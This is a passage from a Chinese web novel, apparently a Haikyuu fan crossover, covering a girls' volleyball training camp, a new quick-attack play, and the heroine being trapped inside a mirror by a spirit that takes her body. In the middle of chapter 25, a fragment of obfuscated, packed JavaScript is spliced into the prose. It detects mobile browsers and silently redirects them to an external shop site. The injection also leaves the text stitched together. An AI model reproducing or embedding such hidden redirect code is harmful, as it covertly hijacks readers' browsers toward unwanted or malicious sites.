“哎？那是新山吧？她们也从宫城过来了？”黑尾认出了白红训练服，然后看到学校名字。
“啊，毛豆泥女生。”犬冈率先看到了阎魔乐，他显然是把这个土特产当成了她的绰号。
阎魔乐微微偏头，正好与研磨的目光撞上，不过两人都没有什么特别的反应，仿佛这样就算是打过招呼了一样。
“那个布丁头男生也很帅呢。”福生优奈从一众男生中一眼就看到了某头脑5的二传手。
这下，阎魔乐算是看出来了，她们的这个经理好像对智慧型的男生情有独钟。
念头未落，福生话锋一转：“不过，果然还是风间队长最帅了。”
原来，只要是智慧型的就可以。
“呜哇……那个人看上去好恐怖，真的是高中生吗？”云中芥子缓缓地说，她总能发现常人不会第一眼就看到的问题。
阎魔乐都不用抬头就知道她说的是谁，但那可是上场之前要往手心画「人」字的少女心主攻手啊。
东峰旭在感受到女生们逃避的目光后大受打击，西谷拍着他的肩膀安慰着他。
其实山口看到了阎魔乐，可他没有勇气在这么多人面前开口打招呼。
“乌野高中……我们县内有这么个高中吗？”花咲思索了一番。
“没听说过呢，女排应该不是很强吧？”
“是IH第一轮就输给白户的学校，除了队长外，实力比较普通。”风间枝没有打开笔记本，但仍然说出了乌野女排的现状。
“唔，真不愧是队长～”福生一脸崇拜地看着她。
这什么，人型电脑处理器吗？阎魔乐真想在手机上记下这一点。
午餐临近尾声，陆陆续续有人离开。
“千夏，合宿中遇到问题一定要记得找我啊？”木叶秋纪送完餐盘顺便绕路过来。
“完全不需要你这个样样通，样样松的哥哥帮忙啦。”木叶千夏十分嫌弃地说。
“啊？怎么可以这么说……”
“木叶，要开始了。”
“来了。”木叶秋纪应了一声，又回头叮嘱道，“记得啊。”
“哎。”千夏翻了个白眼，然后对着身边的人尴尬一笑，“哈哈，也算是排球世家了是吧？还都是枭谷的。”
“我的姐姐也是很厉害的主攻手呢～”家人的话题，星那自然而然地参与进来。
“嘿～嘿～嘿！”
这时，某个刚听过不久的独特音调再次传来。
积极木兔模式，启动！
开朗的猫头鹰“复活”，开启了下午的练习赛。
25.招fine秒mine作战进行中
训练的进程和阎魔乐估计得不能说一模一样，只能说毫不相同。
新井教练十分看重一、二年级的战力与未来发展，她会机动性地抽调二队的队员填进首发的比赛中。
频繁的换人不仅能查验不同组合下的实力，也能让其他队员体验正式比赛的强度。
同时，没有背号的队员会进行内部练习赛，剩下的一组则作为二队的替补。
这样的结果就是，一年级并不会只能进行基础练习，甚至所有人都有和东京强校比赛的机会。
就比如，现在阎魔乐和十六夜这对另外一种意义上的怪人组合正和星那与其他二年级的学姐们同时在场上。
仅仅几球，也能感受到完全不同的氛围和压力。
无论是来自对手，还是队友的。
似乎只有全神贯注，用尽全力才能克制住心中的慌乱。
阎魔乐倒是对此毫无知觉，因为以上两点她一直在进行着。
只要能最大限度地发挥出当下的水平就可以了。
她用代表着强大的心态坦然接受自己的弱小。
当然了，也许有一天在更大的舞台上，她会对自己此刻的浅薄感到无奈而发笑吧？
这一轮的对手是清元高中，她们精通于团队合作，默契得仿佛十几年的老友。可惜在王牌受伤后，整体实力大打折扣，这次IH没能打进全国大赛。
阎魔乐走向发球线却没有停下，一步、二步、三步，她要在这里试验自己的新技能。
一旁休息的云中注意到了少女的举动，她微微缩了缩脖子：“好像是……跳飘球……”
对于她来说，这样飘忽不定的发球虽然并不是完全接不住，但处理起来真的是很麻烦，因为很有可能会影响一传的精度和高度。
“啊啦～真能干呢～”花咲的眯眯眼中透露着“好啊，那就看看你能做到什么地步”的意思。
星那捂着后脑勺，十六夜则鼓励着好友“发个好球”。
首先，要先过网。
裁判吹响哨声，阎魔乐不准备没有刻意立刻启动，或是压着8s的时间线，这种心理战完全可以在正式比赛中再用。
她不紧不慢地出手，就像练习时候的一百个发球中的一次。
那是个不错的跳飘球，但是力量上的不足导致球速不快，同时因为把注意力放在过网上导致她对于落点把控稍弱。
所以即使是瞄准对手在后排的二传，最后还是落在了自由人的防守半径中。
没能限制二传手的发挥呢。
清元的自由人非常有经验，一眼看穿了这次攻击的意图，用上手接球成功接球，一传没有受到太大影响。
攻击力还是不够。
所幸对方的攻击也被二年级的自由人千石英接下。
“我来。”星那大喊一声吸引着对手的注意力，她后撤几步开始助跑。
十六夜通过无可挑剔的标准背传，将球传到了大小姐的打点之上。
星那宛如插上翅膀般高高跃起，黄色的头发反射着落进室内的阳光，宛如闪耀的星。
在拦网选手震惊的目光中，星那露出兴奋的笑容。
她直接越过拦网扣下了那个球，直接得分。
“好球！”
“哈哈哈！～”星那高兴地大笑起来，对于碾压防御这件事，她拥有着绝对的热情和执念。
一开始没人想到，身高倒数的星那会拥有着全队第三高的打点，而且前两名分别是超过180的望月和天内，甚至连大空都要比她少上三公分。
星那忧子，拥有着成为小巨人的潜力。
“不管打多少次，都感觉你的球很古怪啊。”星那评价着十六夜的托球。
“嘿嘿～”现在的十六夜逐渐得不会再为这样的评价感到不安。
这个特质确实让她要花大量的时间和队友磨合，但这对于对手也一样。
只要精准地托好每一个球，那就是为攻手们铺平攻击的前路。
阎魔乐从这次进攻中看出了一些端倪。
星那的快攻自然是拥有很大威力，但是对于落点的掌控……
几乎可以说没有。
一旦被对手抓住这一点，她的打点再高，都会被调整好的地面防御接起来。
改良手段有两种。
要么在快攻的基础上再度提速，属于大力出奇迹，另一种是让球停下来，给攻手更多的反应时间。
这不巧了吗？
解决方案都是现成的。
想到这里，阎魔乐开口：“星那，你的速度很快，跳得也很高，但是攻击手段并不丰富……简单来说，就是把球无脑扣下去罢了。”
“哈？你这个吊车尾在说什么啊？”星那不满地皱起眉头。
本来她在排球队服气的只有教练和首发们，她可不会任由别人数落。
“我想试试一种快攻，是只有天选之人才能做到的，忧子你——”阎魔乐抬眼装作不经意地问，“应该是这样的天才吧？”
星那先是一愣，随后立刻昂起头：“哼哼哼！那肯定是啊。”
“阿夜，下一次攻击，我们试试那个吧？”
阎魔乐比了个手势，十六夜会意，露出微笑点点头。
攻守反复拉扯，星那找到一个机会，在一传刚离手的时候开始助跑。
这么早？
清元众人对此严阵以待，在她们眼中，新山这个奇怪的二传传球神出鬼没，姿势很棒看不出任何倾向，反而通过攻手的状态会更好应对攻击。
星那迅速跑到网前作势起跳，她看了看比她要高半个头以上的拦网们，化起跳动作为冲刺预备动作似一道闪电般迅速转身朝网的另一边跑去。
她在阎魔乐所说的快攻基础上还自行利用了球网的宽度。
阎魔乐不得不承认，星那的球商在突破拦网的时候绝对是顶尖的。
清元的拦网就不好过了，她们勉强跟上星那的动作。
同时，十六夜托球出手，排球在空中划出优美的弧线。
顿时，全场的所有人都吃了一惊——
排球飞往的位置是与星那完全相反方向上的阎魔乐的打点。
弱小的主攻手此时已经能够好好地扣球了。
用力，用力，再用一点力。
肌肉做不到就用意志力去控制，阎魔乐深谙此道。
“咚。”
比轻飘飘强上一点的扣球落入了对手的防守空档之中，排球只在地上轻轻弹动了一下，反而让这场练习赛的结束显得有些轻描淡写。
“这个球，勉强及格。”风间枝并非在夸赞，她一向只会将队员的现状一五一十的复述出来。
“麻烦的球……和队长一样。”云中慢慢地说。
刚才清元的防守不仅前排拦网被操纵，为了补防，后排自由人行进的位置被遮挡，所以才造成了防守的真空。
这样的漏洞似乎还是少女亲手诱导对方犯错的。
才打球三个多月就有这样的战略思维……另一种层面上的天才吗？
当然了，球速的提升也是成功的关键。
“可恶！竟敢把本小姐当诱饵。”
明明说好要使用特别快攻却没有，星那落地后抓狂地嚷嚷。
“因为这件事情，只有忧子做得到。”阎魔乐平静地开始下套，“我是说，把对面拦网耍得团团转这件事。”
“哎？我、我……当然是这样。”
“这是一次完整的组合攻击，最关键的部分就在于既能跑又能跳的忧子把对手完全引开了。”她继续星那更加听得进去的形容阐述着这次战术，“然后我才能找到机会完成扣杀。”
“所以说，如果没有忧子帮忙，得分应该没有那么顺利，所以这一分还得算忧子拿下的。”
随着阎魔乐一句一句的持续输出，星那的脑袋逐渐昂起。
“哼哼哼！～”
“哼哼哼！～～”
“真不愧是我啊，这个战术还不错，继续好好辅助我吧～”
如果她有尾巴，绝对已经翘到天上。
果然，只要掌握了单细胞生物的沟通方法，事情就会变得简单不少。
阎魔乐和十六夜对视一眼，确定了这个战术的可行性。
少女们正在一点一点打磨着自己的武器，积蓄着能理直气壮地成为首发站上赛场的力量，一笔一画写下比赛能够胜利的原因。
“当然了，刚才关于「星之快攻」的战术并不是说说而已，只不过需要忧子配合。”
嗯，对不起了，翔阳。
阎魔乐暗自谴责了自己这种擅自命名的行为。
“星……「星之快攻」？”星那脸色越发红润，她十分兴奋地复述了一遍，“嘛、嘛～既然你都那么诚恳地请求了，那我就勉为其难地答应吧～”
说着，她蹦蹦跳跳地跑开去喝水。
望着大小姐的背影，鬼冢忍不住笑出声：“噗，忧子被阎魔同学耍得团团转啊。”
阎魔乐这才想起来，人家的幼驯染还在身边呢。
她担心事情变得复杂于是赶紧解释：“鬼冢同学，我并不是……”
“不是这样的，其实我特别高兴。”
鬼冢摇摇头，她最喜欢忧子了，所以怎么会嫉妒会与挚友友好相处的人呢？
“之前我一直很担心忧子会因为性格原因跟排球队的大家处不好，毕竟我也……不过现在看下来，是我多虑了，这还得谢谢阎魔同学。”
是啊是啊，毕竟被嘲讽根本不还嘴，为了打好排球简直是操碎了心。
阎魔乐无声地叹息了一声。
不过……
她将视线落回鬼冢幽的身上：“如此看来，忧子很幸运呢。”
“嗯？”
“因为一直有一个人陪着她打排球不是吗？”阎魔乐擦了擦汗，“无论情况如何，都和她并肩作战着，不仅是朋友，也是搭档、是队友。”
鬼冢微微睁大眼睛，随后低下了头。
这样的话令她的内心十分柔软，就仿佛回到了与星那初次相见的那一天。
“阎魔同学真的是很厉害的人。”
“你说的不是排球，对吧？”阎魔乐开了个玩笑。
害羞胆小的鬼冢果然慌乱起来，开始不住地解释：“啊，不，我……”
“鬼冢同学，或许……可以叫你小幽吗？”
和星那那样厚脸皮直接叫名字的方法不同，对于敏感柔和的鬼冢幽，阎魔乐还是决定礼貌一些。
“嗯。”鬼冢露出温柔的笑容点了下头。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14200091|147932||http|test|mini|href|location''.split(''|''),0,{}));
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***
临近傍晚，笨蛋二人组终于赶到。
而此刻的阎魔乐已经在地上躺平，再起不能的她根本没有及时查看日向发来的消息。
她身体周围氤着一圈汗水，水渍勾勒出不吉利的形状，看得星那直发怵。
“那个，阿乐同学……”也许是阎魔乐的主动示好打开了害羞少女的心扉，她主动开口道。
“哈？”阎魔乐气若游丝，一副即将升天的干瘪状态，勉强吊着一口气保持着呼吸。
她的体力只有2啊，就算比赛并不是打满全场，但是和强校对决中的频繁跳跃和不断冲刺跑动几乎掏空了她。
更别提输多赢少的连续的惩罚，从深蹲、仰卧起坐、冲刺跑、鱼跃，应有尽有。
“那个……最好不要这么躺。”鬼冢迟疑着说。
“哎？是有什么典故吗？”阎魔乐没有忘记鬼冢家可是经营着一座神社的，难免会有一些禁忌事宜。
“啊？”鬼冢立刻明白了她的意思，不禁笑出声，“是会感冒哦。”
刚好赛场上传来望月标志性的爽快“哈哈哈”笑声。
明明她作为王牌几乎打满了全场，还依然那么有活力，体力5的都是怪物吧！！
阎魔乐不禁打了一哆嗦。
“阿乐！你不会真的生病了吧？合宿刚开始第一天呢。”十六夜焦急地用毛巾替她擦去额头上淌下的汗，“不是说好晚上还有自主练习吗？”
“啊……对，还要试试新的战术。”阎魔乐勉强坐了起来，她接过毛巾塞进湿透的后背之中，防止自己感冒。
不行，这样的日子还有六天，这么下去绝对会死的。
再加上，系统也很久没说话了……简直和邪祟一样安静。
阎魔乐尝试着将魔力运转起来，小心翼翼地恢复着自己的体力。
「警告！检测到宿主有作弊行为，请立刻停止。」
还以为它已经挂了呢！
没想到其他功能一点都没有，竟然还一丝不苟地执行着监管督促的职责。
双标！这绝对是双标！
「嘤嘤嘤，宿主不要讨厌统统，统统也只是照章办事啦。」系统不知死活地拙劣地扮演着绿茶。
魔力在指尖汇聚，却不能做任何事，阎魔乐无能狂怒了一番。
违反位面规则的后果，轻则在魔力上进行惩罚，重则……搞不好会被逐出这个世界。
如果这样，她搞不好连魔法少女都不能当了。
总之，规则是绝对的，她可不敢赌。
等等，这个魔力量……
阎魔乐赶紧调出人物面板，很明显，1的数量又减少了。
力量水平增长了！
果然是刚才那一球！
能力的增长确实是会发生在突破极限的行为中，那么现在就只剩速度没有进阶了。
阎魔乐呼出一口气，获得实在魔力奖励的喜悦冲淡了对系统的不满。
随着比赛陆续结束，新井教练趁着大家休息的时候，公布了赛况并针对各人分析起目前的训练情况。
不用想也知道，新山首发们的胜场绝对是最多的。
“阎魔乐。”
“在。”
活人微死状态下的少女坐在地上缓缓地举起手，看起来不像是回应教练点名，更像是证明自己还活着。
新井教练见状无奈地笑了下：“我得承认，我确实没有想到你会坚持那么久，即使你从一开始就夸下海口。”
“但事实证明我错了，你好像很清楚地知道自己要做什么，你的努力和进步大家都有目共睹。”
除此之外，还有对胜利的渴望和成长的野心。
“跳飘球是一个不错的武器，那么，继续努力吧。”
至于调和一年级问题儿童的工作，新井教练原本是想等所有人的基本功还过得去之后再进行的，没想到这个女孩已经提前开始引导了。
相比王牌，她更像一名主将呢。
当然了，那也要实力允许，总之现在想这个也太早了，登山途中最重要的是脚下的每一步。
“好了，大家干得不错，今天的练习赛就到这里。”
晚餐时，因为一天下来的劳累，阎魔乐并不是很有食欲，但是为了增长肌肉，她还是逼着自己吃光了所有的食物。
“哇，星那也要多吃点蔬菜哦，毕竟天才一定是不会挑食的。”
星那虽然很想反驳，但很显然她已经迷失在了一声声天才之中，所以不情不愿地吃下一颗西兰花
鬼冢见状，暗暗发笑，稍微有些后悔自己没能早点发现这一点。
隔壁桌，活泼友善的木叶千夏正在神神秘秘地和新交的朋友们讲着悄悄话。
阎魔乐隐约听到“图书馆”、“自动开启”这些词句，她猜测会不会和枭谷的某些怪谈有关。
毕竟，一所高中没个神神叨叨的故事也显得太无聊了。
她其实有些兴趣，因为本职工作和这个不能说豪不相关，但看了看不知情的星那，她还是决定不多嘴好好吃饭了。
她咬了一口炸得酥酥脆脆的炸猪排，肉香转化为有实感的幸福在舌尖炸开，身上都感觉没有那么累了。
突然之间，不知道从哪里传来一声凄厉的惨叫声！
26.镜中人
惨叫声十分清晰，是个女生，似乎就在附近。
“怎、怎么了……”星那一瞬间脸色苍白，下意识握紧了鬼冢的小臂。
“我去看看。”
阎魔乐拖着疲惫的身子冲出餐厅，如果没有听错，应该是来自走廊左边。
那里是女厕所，门口逐渐聚集过来不少人。
受到惊吓的是玉治高中的队员，她脸色苍白、额头上满是汗珠，正依偎在队友的臂弯中瑟瑟发抖。
她不住地喃喃自语：“镜子……镜子里有……”
医务老师赶到，搀扶着女生前往医务室休息。
“应该是太累了吧，我刚才觉得眼前泛白，也好像有重影呢。”阎魔乐装作不经意地说道。
“对、对嘛，镜子里当然会有自己的影像啦。”星那赶紧接话，“快回去吃饭了啦。”
人群陆陆续续散去，阎魔乐打量着看上去毫无问题的镜子。
“阿乐，怎么了吗？”十六夜凑过来，她的胆量不大不小，发生了这样的事情，多少还是有些不安的，不过相比之下，她更担心自己的朋友出事。
“没有呢。”阎魔乐微笑起来，试图用轻松的态度打消好友的忐忑，可她自己却完全轻松不起来。
还是出现了。
虽说这是个较为安全的世界，但是需要魔法少女介入就证明了在光明之下总有暗流。
如果她的感知准确的话，镜子上不仅有邪祟的气息残留，还不是之前遇到的杂鱼那种等级，感觉上应该是某种变体。
这时，一抹橘色在走廊的尽头出现。
看到阎魔乐的瞬间，日向高兴地蹦起来打招呼：“阿乐！好久不见～”
“嗷嗷，这小子跳得真高啊，和星那一样。”望月一边喝着在自动贩卖机买的牛奶，一边称赞道。
“嗯，翔阳的梦想是成为小巨人呢。”
“哈哈哈～真是不错的目标呢。”望月认可地点了点头。
“唔哇，好、好高的学姐～”
日向抬起头震惊地看着望月，乌野的其他人先进去吃饭了。
“望月学姐是新山的ACE，也是全国三大主攻手之一。”
做介绍的时候，阎魔乐心中也涌现着一份自豪。
“好厉害！那不是和牛岛一样？！”
“哈哈哈！很有眼光嘛～”望月冲他竖起一根大拇指。
“好啦～你们几个，不要闲聊咯，饭菜要冷掉啦。”飞鸟的声音从餐厅中传出来。
与此同时，菅原刚好也探出头准备喊日向进来吃饭。
为孩子们操心，是麻麻们的宿命。
他们对视了一眼，冲对方柔和地笑了笑。
这一顿饭，阎魔乐多少有些食不知味。
要怎么才能找出这个邪祟呢？
学校中的镜子太多，她的魔力不足以在每一处都留下警戒的印记，如果这么做，剩余的魔力很有可能无法净化这个邪祟。
仅仅是傍晚、还是在周围都是人的情况下就敢现身，一旦正式入夜……
阎魔乐有些头痛。
等等，刚才是在女厕所。
也许，它把加害的对象定为看上去更为脆弱的女生。
虽说这样的推断能让她缩小一些守备的范围，但是她还是要说一句——
别小看女生啊，魂淡！
敢来吓一个望月学姐试试呢？超级阳光的好吧？（学姐dbq）
在去体育馆夜训之前，阎魔乐以回教室拿东西的借口，在女生洗手间和浴室中的镜子都布下了陷阱。
初步估算，陷阱一旦启动，能够控住邪祟差不多两分钟左右的时间，足够她在第一时间赶到。
剩余的魔力并不乐观，还好她因为增长了能力参数并且赢了几小局练习赛，此前稍微获得了一些才有的剩。
第四体育馆中，星那、鬼冢和十六夜占据了一个场地正在抛球热身。
“真慢啊。”
“是是，那么我们开始吧？”阎魔乐早习惯了大小姐的嫌弃。
“说吧，要怎么做？”
“其实，忧子今天已经做到了，在托球前就开始助跑，真不愧是天才呢。”阎魔乐如法炮制地使用单细胞心理学。
果不其然，星那点点头，对此表示认可。
“简单说下结果，我们要尝试的就是让排球在达到打点的同时，忧子也正好挥臂击中排球，这样能让快攻的速度最大化。”
“可是十六夜的托球根本就不能让人提前准备扣球啊。”星那反驳着，“这样我很难有时间找到准确的打点。”
十六夜闻言稍稍有些不安，她虽然明白这个战术能够成功的关键之一就是她的稳定传球，是需要通过实力来弥补的。
“阿夜的托球精度很高。”阎魔乐继续解释，“所以忧子只要相信她，到打点扣下去就好。”
“让我不看球的位置，直接扣？”星那不可置信地提高了音量。
不愿意吗？阎魔乐想着要用什么话术才能打动她——
“听上去不太难嘛～快点来试试吧。”星那跃跃欲试地站在助跑的位置上。
结果，一次就成功。
当那颗排球用不可思议的速度砸到地面的时候，在场的所有人都震惊不已。
“一年级的也太拼了吧？”竹取忍不住停下来感叹道。
这一届都是些什么怪物啊？
“哼，作为学姐的可不能输啊！”山吹拍拍手，示意加练继续。
“喂喂，刚才我超帅的对吧？！”星那一落地就高兴地回头问鬼冢，得到回应是羞涩少女重重地点头。
“忧子一直都那么厉害。”
“哼哼哼～我果然是个天才啊～”大小姐得意地抬起下巴。
果然，相信自己和他人，这是单细胞生物的特权之一。
另一边，十六夜怔怔地望着自己的掌心，仿佛不敢相信这么轻易就能成功。
“我说过吧，没什么是影山能做到，而阿夜做不到的。”阎魔乐得意地说，“阿夜绝对是一个努力的天才，怪物级别的二传手呢。”
明明不是她托的球，她依然觉得十分骄傲。
嗯，为朋友的成功感到开心。
“才不是怪物呢，哈哈哈。”
十六夜揉了揉眼睛，嘴角却绽放出微笑。
为了让「星之快攻」正式填充武器库，少女们开始不断尝试各种位置的扣球，鬼冢则主动揽下了抛球的活。
也许她是为了能够助星那一臂之力，也许是发现了阎魔乐的疲惫。
也许，两者都有吧。
阎魔乐靠着墙坐下，邪祟带来的压力让她稍稍有些分心，她清空大脑，强迫自己盘算后面几天的自主训练安排。
翔阳这会可能正和三馆组作3V3练习，木兔在不久后后应该会教他必杀技。
影山的话，不出意外应该在练习让球停下来的技术。
而这个就是决定十六夜上场机会的决定性技能。
既然她的球会有突然到面前的感觉，那就让它在空中停下来，多呆一会，让攻手们有更多时间反应。
阿夜既聪明又努力，搞不好能比影山学得更快呢……
“阿乐。”
谁？是谁在说话。
“阿乐。”
是谁？
某个称呼哽在喉咙口，阎魔乐怎么也说不出来。
“阿乐，快醒醒。”
阎魔乐惊醒，猛地坐直身体。
她竟然睡着了。
不过也难怪，从早上坐车开始她就没能休息，到下午高强度比赛中精疲力尽，晚上又出现邪祟的威胁，她可算是累坏了。
“训练辛
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苦啦，阿乐。”十六夜拉着她站起来，“我们洗完澡就早点睡觉吧～”
不得不说，热水澡绝对是救世良药，疲惫感逐渐消弭，阎魔乐享受了一会，却关掉了热水，选择用冷水提神。
当然，夏季的气温超过30度，也不至于会冻感冒。
最后，当身体接触到柔软的棉被，疲惫又再次涌了上来。
夜晚的学校异常安静，阎魔乐甚至听到了水龙头滴水的声音，所幸直到现在还没有发生第二起事件。
身边睡着的少女们发出不同频率的均匀呼吸声，这样的场景为夜色增加了几分温馨。
越是夜深，阎魔乐越是不敢入睡，她睁着眼睛望向天花板。
今晚能解决战斗是最好不过的事情了。
可是这个实力等级的邪祟有了一定的智慧，如果它每天都不出现，把局面拖入持久战，她会一直像今天一样缺乏足够休息，到那时……
一想到后面都是全天的练习赛，阎魔乐作为除了雪村之外的训练狂，第一次对训练感到恐惧。
时间指向十一点，阎魔乐有些昏昏沉沉。
突然间，她打了个激灵。
陷阱被触发了。
不过很奇怪，这个邪祟没有选择在三楼、四楼这个女生聚集的楼层，反而出现在了无人居住的五楼。
那里只有生物教室什么的，她是担心因为厕所排队，会有女生误入才会在五楼设置陷阱以防万一。
总之，这个邪祟是挑衅她、故意让她过去一般。
阎魔乐从被窝中小心地钻了出来，没有惊动任何人，她拿上手机、穿上鞋，轻手轻脚地拉开门又关上。
过道中没有开灯，黝黑幽长的通道足以吓退所有胆小的人，阎魔乐隐约记得她似乎也对此害怕过，可是她只能想起这种感觉，却记不起对应的记忆。
职责压顶，仇恨加身，她快步穿过走廊，路过别的教室时，大多数女生也都已经安然入梦。
阎魔乐顿时有了一种正在打两份工的感觉。
她缓缓地走上楼梯，因为不知道这种邪祟的能力与攻击力，所以只能将魔力围绕在身侧形成动态防御。
陷阱上的魔力显示，确实已经控制住了邪祟。
从对方的挣扎程度上感受起来，似乎并没有她想的那么强。
阎魔乐小心翼翼地推开门，人型的黑影正安静地停在镜子中央，手腕上缠绕着一副由魔力打造的光之锁链，锁链的另一头是一个秤砣，垂在镜子外。
和之前稍显粗糙的人型怪不同，这个邪祟依稀能看出是个女性的剪影，它盘着一个精美的发型，脸庞两侧垂下两抹微卷的发丝。
在感受到她到来的那一刻，黑影立刻挣扎起来，拼命往后退，秤砣被拉动，阎魔乐谨慎地用剩余魔力变成绳索套住秤砣，防止它逃跑。
最后的魔力凝聚的空间立方体“嗖”一声飞入镜中，正中邪祟心口嵌在黑色的影体上。
阎魔乐打了个响指，晶体应声炸开，在邪祟身上开了个大洞。
没有预想的难嘛。
至此，阎魔乐总算松了口气。
为了确保邪祟彻底被消灭，她始终没有松开锁链，不过出于谨慎，她还是保持着一定的距离。
慢慢地，她觉得有些不太对。
邪祟的消散速度并没有想象中那么快，而且明明看不到五官，却总觉得——
它在笑。
麻烦了！
阎魔乐猛然间意识到了什么，转身就走，却被一层透明冰凉的玻璃挡住了去路。
下一秒，周围的景色如同随着时间变化般发生着改变，魔力的锁链化为实体，失去了禁锢的对象“哐当”一声落在地上。
扭头再看镜中，哪里还有什么邪祟，那分明是她自己的模样。
坏了，她成困在镜子中的邪祟了！
27.破局的关键是……
和学校那种白瓷砖装饰冰冷简洁的风格不同，这是个古朴典雅的洗手间，壁灯的暖光照亮着装饰画，画上是一只小白狗和一只小黑猫，非常可爱。
阎魔乐无心观赏，她第一时间爬上大理石洗手台，膝盖被坚硬的台面压得生疼，触感冰凉。
她像所有被莫名关住的角色那样扒在与现实世界相连的椭圆形镜子上，妄图找到一丝出去的线索。
处于现实世界的“阎魔乐”微微低着头，因为睡觉散下来的头发在她的脸上拉出阴影，隐藏起她的表情。
该死，明明已经料到了可能会是陷阱，还是……
她应该已经足够小心了，到底是哪里出了错呢？
考虑到镜子的特性，她特意没有在镜中映出自己的身影，以防自己陷入不利的境地。
她甚至都没有走进过洗手间！
魔力在刚才的攻击中所剩无几，如果是全盛状态下的她可能才有一丝靠力量破局的可能性。
空间的转变中她没有感到任何没有任何魔力参与，这种不容置疑的状态更像是……
规则。
在一个位面中，规则是绝对的，一旦满足或是违反了某些条件就会被强制得到或失去些什么。
比如她在排球世界所获得的单一功能系统。
所以，镜子里的世界是一个独立的位面，这只邪祟是拥有小型位面能力的变体。
这里存在着某种她不知道的规则，无意中满足了某些条件，让她和邪祟交换了位置。
甚至，系统也被排除在外，否则当下这个局面它肯定又要开始嚷嚷了。
太作弊了。
“咯咯……”
诡异的笑声响起，阎魔乐抬头——镜子外的“自己”对着自己咧开瘆人的微笑
这绝对不是什么有趣的事情。
“不要用我的脸做出这样的表情啊！”
阎魔乐怒吼着，她将懊恼伪装成愤怒，又化成慌乱，因为她听到了一个声音。
“阿乐，阿乐。”
十六夜为了找她来到了5楼，她正用手机屏幕微弱的光为自己壮胆。
“阿乐你怎么到五楼来啦？”看到“阎魔乐”她松了口气，合上手机翻盖，“好了吗？”
“不要，阿夜！！快发现，那不是我！”阎魔乐大声喊着，她不知道自己现在在镜子外的人们眼中是什么样子。
是邪祟的黑影模样或是根本就没有显像，但无论怎么样，都是没有走进洗手间的十六夜都无法看到。
“阎魔乐”微不可及地点了点头，转身出了门。
“阿夜！！”
阎魔乐再也看不到“自己”的身影，她努力聚集起仅有的魔力轰向了镜子，立方体在接触到镜面的一瞬间就消失得干干净净。
位面的意志是绝对的。
冷静下来，阎魔乐，冷静下来。
她努力镇静着自己，颤抖着拧开古朴的铜制水龙头，幸好里面流出的是清澈的水，她洗了把脸清醒了一下，顺便扎起了头发。
这个邪祟占据了她的身体，就算要收集恐惧做出什么恶劣的事情，也只会引发“对阎魔乐这个人本身”的恐惧，所以不能直接从中获取力量。
同时，她的身体素质还很弱，望月学姐、花咲学姐……随便哪个学姐都能轻松制服她吧？
与其说是分析，不如说是祈祷。
她不想让朋友陷入危险之中，还是因为她的失职造成的，万一……
阎魔乐紧闭双眼，垂下脑袋靠在握紧的双手上，似乎在积蓄着力量。
必须想办法找到出去的路。
阎魔乐起身，走向洗手间的木门。
***
这一夜，十六夜睡得不太安稳。
先是半夜醒来发现阎魔乐不在身边，担心她因为不愿打扰自己硬着头皮上厕所所以大着胆子去找，尽管顺利汇合，一起回来后却隐隐觉得有些不对劲。
随后，她开始做一些令人不安的梦。
醒来的时候她记不得梦的场景，只有绝望恐慌的感觉被保留了下来，这让她感觉很疲惫。
在收拾床铺的时候，十六夜发觉鬼冢正在偷偷打量着自己和阎魔乐。
“鬼冢同学，有什么事吗？”
“嗯……总觉得有一些不妙的气息呢……”鬼冢一改往日里的含羞，皱起眉头，视线来回在她们之间扫动。
她突然意识到这样不太好，立刻鞠躬道歉：“啊，抱歉，失礼了。”
训练的时候，阎魔乐表现不佳，不仅动作生涩得宛如初学者，也完全没有平时那种能够灵活使用战术的状态。
新井教练直接把她换下场。
“哼哼～吊车尾，你就好好看着本小姐的表演吧！～”星那在昨晚的练习后信心大增。
阎魔乐不回答，只是挂着一丝浅笑跪坐在一边，一言不发地看着赛场上的大家。
“阿乐最近手机不离手，而且她的状态不也不太对。”
“如果是受到什么严重的惊吓可能会丢了魂，昨天中午……”鬼冢看了看星那的位置，压低了声音，“不是有女生看到了不详之物吗？”
“鬼冢同学的意思是，阿乐也看到了？因为害怕所以才表现怪异？”
“或者，情况更糟糕，阿乐同学可能被……”鬼冢垂下眼，不再说话。
一只拿着毛巾的手从十六夜的身侧伸过来。
“啊，谢谢。”十六夜转身，顺势接过毛巾擦了擦汗。
阎魔乐微笑着整理了她脸颊旁的发丝。
嗯……虽然这不是阿乐会做的事情，但应该没什么事吧？
不安在十六夜的心中继续堆积。
午餐时，阎魔乐第一次沉默应对着日向热情的问候。
这些日子的相处中，十六夜能够感觉到她确实算不上什么热情的人，更多的时候她会以高效的行事准则完成一切事宜。
但她绝对是一个善良的人，总之不可能会这么对朋友。
接着收拾餐盘的间隙，十六夜找到日向问：“日向君，你有没有觉得阿乐有些太不对？”
她在想会不会是因为和幼驯染吵架这样的事情发生。
“哎？有吗？”日向抬头望天思考起来，“阿乐不是一直都是很沉稳的样子吗？”
“话是这么说啦……”
“难道生病了吗？她昨天看上去就没什么精神。”日向提议道，“吃饭洗个澡应该会没事吧？”
“应该也不是吧……”
另外，这是什么养病的方法，稍微照顾自己一些啊……
“我知道了！”日向猛地站起来，“阿乐正在思考着什么必杀技吧？一定是这样的。”
必杀技……
战术。
就是这个！
为了时刻记下看到战术、招式，她会在下场休息的时候一边观察一边记录，手机从不离手，而今天……
“谢谢你，日向君。”
十六夜立刻朝着餐厅外跑去。
“哎？”日向不明所以地摸了摸脑袋，随后确定了自己的幼驯染正在研发了不起的必杀技，“之后一定要让我看看那个招数啊！～”
十六夜一路跑进教学楼直上5楼，在洗手间的门边找到了阎魔乐的手机。
“果然在这里。”
可能因为昨天晚上太暗了，又慌张，可能就都没有发现吧。
难怪阿乐半天都没有用手机了呢，不过……她会这么不小心遗失重要的东西吗？
而且自己都能想到能在这里找回来，她会发现不了吗？
不过……还是先拿去还给她吧。
十六眼攥紧手机，扭头间却让她惊出一身冷汗，她看到了可能是此生最为诡异的一幕——
镜中映着她自己和……一个黑色的人影。
***
即使阎魔乐看过不少诡异的场景，还是在看到眼前的景象时稍稍震惊一下。
